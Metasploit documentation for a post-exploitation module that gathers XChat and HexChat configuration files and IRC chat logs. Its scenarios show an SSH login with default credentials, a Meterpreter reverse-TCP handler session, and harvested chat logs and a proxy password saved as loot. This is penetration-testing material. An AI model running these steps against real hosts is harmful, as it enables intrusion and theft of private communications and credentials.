173 lines
8.3 KiB
Markdown
173 lines
8.3 KiB
Markdown
## Vulnerable Application
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This module enumerates the config and log files for XChat and HexChat. XChat was retired in 2015, although the site and downloads
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are still available in April 2020. It was forked and replaced by HexChat.
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Linux xchat path:
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```
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/home/[username]/.xchat2/
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* /home/[username]/.xchat2/servlist_.conf
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* /home/[username]/.xchat2/xchat.conf
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* /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
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```
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Linux hexchat path:
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```
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/home/[username]/.config/hexchat/
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* /home/[username]/.config/hexchat/servlist.conf
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* /home/[username]/.config/hexchat/hexchat.conf
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* /home/[username]/.config/hexchat/logs/FreeNode/Freenode-#aha.log
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```
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## Verification Steps
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1. Install the application(s)
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2. Start msfconsole
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3. Get a shell
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4. Do: ```use post/multi/gather/enum_hexchat```
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5. Do: ```set session #```
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6. Do: ```run```
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7. You should get config and log files depending on your action
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## Actions
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### ALL
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Download both config and chat logs. Default.
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### CHATS
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Only download the chat logs.
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### CONFIGS
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Only download the config files.
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## Options
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### HEXCHAT
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Gather the files from HexChat. Default `true`.
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### XCHAT
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Gather the files from XCHat. Default `false`.
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## Scenarios
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### Hexchat 2.14.3 on Fedora 31
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```
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[*] Processing xchat.rb for ERB directives.
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resource (xchat.rb)> use auxiliary/scanner/ssh/ssh_login
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resource (xchat.rb)> set username fedora
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username => fedora
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resource (xchat.rb)> set password fedora
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password => fedora
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resource (xchat.rb)> set rhosts 2.2.2.2
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rhosts => 2.2.2.2
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resource (xchat.rb)> run
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[+] 2.2.2.2:22 - Success: 'fedora:fedora' ''
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[*] Command shell session 1 opened (1.1.1.1:40023 -> 2.2.2.2:22) at 2020-04-22 07:17:59 -0400
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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resource (xchat.rb)> use post/linux/gather/enum_hexchat
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resource (xchat.rb)> set session -1
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session => -1
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resource (xchat.rb)> set verbose true
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verbose => true
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resource (xchat.rb)> run
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[!] SESSION may not be compatible with this module.
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[*] Detcted username: fedora
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[+] Downloading: /home/fedora/.config/hexchat/servlist.conf
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[+] Downloading: /home/fedora/.config/hexchat/hexchat.conf
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[+] IRC nick: test14123251232151
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[+] IRC nick1: test1251212123151
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[+] IRC nick2: test123123123
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[+] IRC nick3: test321321321
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[+] Proxy conf: 1.1.1.1:9999 -> proxyusername/proxypass
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[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/freenode.log
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[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/#postgresql.log
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[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/#python-unregistered.log
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[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/server.log
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[*] Downloading: /home/fedora/.config/hexchat//logs/NETWORK/server.log
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[+] servlist.conf saved as /home/h00die/.msf4/loot/20200422071815_default_2.2.2.2_hexchat.config_359863.txt
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[+] hexchat.conf saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.config_347758.txt
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[+] freenode.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_364082.txt
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[+] #postgresql.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_991489.txt
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[+] #python-unregistered.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_760685.txt
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[+] server.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_022702.txt
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[+] server.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_433357.txt
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[*] Post module execution completed
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```
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### Hexchat 2.14.2 and XChat 2.8.9 on Windows 10
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```
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[*] Processing xchat_win.rb for ERB directives.
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resource (xchat_win.rb)> use exploit/multi/handler
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resource (xchat_win.rb)> set payload windows/meterpreter/reverse_tcp
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payload => windows/meterpreter/reverse_tcp
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resource (xchat_win.rb)> set lhost 1.1.1.1
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lhost => 1.1.1.1
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resource (xchat_win.rb)> set lport 8888
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lport => 8888
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resource (xchat_win.rb)> run
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[*] Started reverse TCP handler on 1.1.1.1:8888
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[*] Sending stage (180291 bytes) to 3.3.3.3
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[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 3.3.3.3:51475) at 2020-04-22 10:30:29 -0400
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meterpreter > background
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[*] Backgrounding session 1...
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resource (xchat_win.rb)> use post/multi/gather/enum_hexchat
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resource (xchat_win.rb)> set session -1
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session => -1
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resource (xchat_win.rb)> set xchat true
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xchat => true
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resource (xchat_win.rb)> set verbose true
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verbose => true
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msf post(multi/gather/enum_hexchat) > rexploit
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[*] Reloading module...
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[!] SESSION may not be compatible with this module.
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[+] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\servlist_.conf
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[+] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\xchat.conf
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[+] IRC nick: IEUser
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[+] IRC nick1: IEUser
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[+] IRC nick2: IEUser_
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[+] IRC nick3: IEUser__
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-#xchat.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-ChatJunkies.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-server.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\NETWORK-server.log
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[+] servlist_.conf saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.config_408737.txt
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[+] xchat.conf saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.config_505296.txt
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[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-#xchat.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_472281.txt
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[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_133017.txt
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[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-ChatJunkies.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_238039.txt
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[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-server.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_482558.txt
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[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\NETWORK-server.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_379409.txt
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[+] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\servlist.conf
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[+] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\hexchat.conf
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[+] IRC nick: IEUser
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[+] IRC nick1: IEUser
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[+] IRC nick2: IEUser_
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[+] IRC nick3: IEUser__
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\#python-unregistered.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\freenode.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\server.log
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[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\NETWORK\server.log
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[+] servlist.conf saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.config_618512.txt
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[+] hexchat.conf saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.config_765571.txt
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[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\#python-unregistered.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_007334.txt
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[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_199140.txt
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[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\freenode.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_988553.txt
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[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\server.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_851506.txt
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[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\NETWORK\server.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_819165.txt
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[*] Post module execution completed
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```
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